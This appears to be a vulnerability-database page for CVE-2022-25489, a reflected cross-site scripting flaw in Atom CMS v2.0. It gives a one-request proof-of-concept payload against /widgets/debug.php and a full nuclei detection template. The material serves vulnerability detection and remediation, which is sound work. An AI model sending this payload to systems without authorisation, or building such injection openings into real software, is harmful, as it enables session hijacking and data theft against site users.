Browse / CVEs / CVE-2022-25489
CVE-2022-25489· thedigitalcraft / atomcms· CWE-79
Atom CMS v2.0 - Cross-Site Scripting
mediumseverity
5.4CVSS score
1.5%likelihood of exploitation, next 30 days
74%of all CVEs are less likely
Readycheck to confirm it
Atom CMS v2.0 was discovered to contain a reflected cross-site scripting (XSS) vulnerability via the "A" parameter in /widgets/debug.php.
Impact
Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement.
Fix
Fixed in version Atom CMS v2.1
How to confirm it
Send: GET {{BaseURL}}/widgets/debug.php?a=<script>alert(document.domain)</script>
Positive when: contains "<script>alert(document.domain)</script>" and "Path Array" and "console-debug" AND contains in header "text/html" AND status 200Run it with nuclei: nuclei -id CVE-2022-25489 -u <target>
The full check
id: CVE-2022-25489
info:
name: Atom CMS v2.0 - Cross-Site Scripting
author: theamanrawat
severity: medium
description: |
Atom CMS v2.0 was discovered to contain a reflected cross-site scripting (XSS) vulnerability via the "A" parameter in /widgets/debug.php.
impact: |
Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement.
remediation: Fixed in version Atom CMS v2.1
reference:
- https://github.com/thedigicraft/Atom.CMS/issues/258
- https://nvd.nist.gov/vuln/detail/CVE-2022-25489
- https://github.com/ARPSyndicate/cvemon
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
cvss-score: 5.4
cve-id: CVE-2022-25489
cwe-id: CWE-79
epss-score: 0.01459
epss-percentile: 0.7376
cpe: cpe:2.3:a:thedigitalcraft:atomcms:2.0:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
vendor: thedigitalcraft
product: atomcms
tags: cve,cve2022,xss,atom,cms,thedigitalcraft,vuln
http:
- method: GET
path:
- "{{BaseURL}}/widgets/debug.php?a=<script>alert(document.domain)</script>"
matchers-condition: and
matchers:
- type: word
part: body
words:
- "<script>alert(document.domain)</script>"
- "Path Array"
- "console-debug"
condition: and
- type: word
part: header
words:
- "text/html"
- type: status
status:
- 200References
- https://github.com/thedigicraft/Atom.CMS/issues/258
- https://nvd.nist.gov/vuln/detail/CVE-2022-25489
- https://github.com/ARPSyndicate/cvemon
Use this check only on systems you are authorised to test. Where the data comes from